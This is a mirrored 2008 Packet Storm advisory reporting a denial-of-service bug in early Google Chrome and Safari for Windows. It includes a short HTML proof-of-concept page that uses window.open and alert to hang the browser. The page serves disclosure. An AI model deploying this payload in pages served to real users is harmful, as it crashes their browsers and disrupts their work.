Lucene search
K

googsaf-dos.txt

🗓️ 30 Sep 2008 00:00:00Reported by LostmonType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 17 Views

Google Chrome and Safari for windows DoS vulnerability with window.open and aler

Code
`#####################################  
Google Chrome and Safari for windows  
Window.open & alert DoS  
#####################################  
  
reported here => http://code.google.com/p/chromium/issues/detail?id=2966  
  
Product Version : 0.2.149.30 (2200)  
URLs (if applicable) :  
Other browsers tested:  
Add OK or FAIL after other browsers where you have tested this issue:  
Safari 3.1.2: FAIL  
Firefox 3: OK  
IE 7: OK  
  
What steps will reproduce the problem?  
1. Open a Malicious page with evil script code  
  
What is the expected result?  
Chrome open one window and show one alert.  
  
  
What happens instead?  
Chrome open all time a new window wen the users click in OK  
from alert...  
  
Please provide any additional information below. Attach a screenshot if  
possible.  
  
##########################  
Evil Page with Javascript  
##########################  
<html>  
<head></head>  
<title> Chrome Window.open & alert DoS</title>  
<body>  
<script>  
DMK = window.open(location.reload('http://lostmon.blogspot.com'));  
DMK.alert(DMK)  
</script>  
</body>  
</html>  
  
  
##################€nd##############  
--  
Thnx to estrella to be my ligth  
Thnx To FalconDeOro for his support  
Thnx To Imydes From http://www.imydes.com  
  
--   
atentamente:  
Lostmon ([email protected])  
Web-Blog: http://lostmon.blogspot.com/  
Google group: http://groups.google.com/group/lostmon (new)  
--  
La curiosidad es lo que hace mover la mente....  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

30 Sep 2008 00:00Current
7.4High risk
Vulners AI Score7.4
17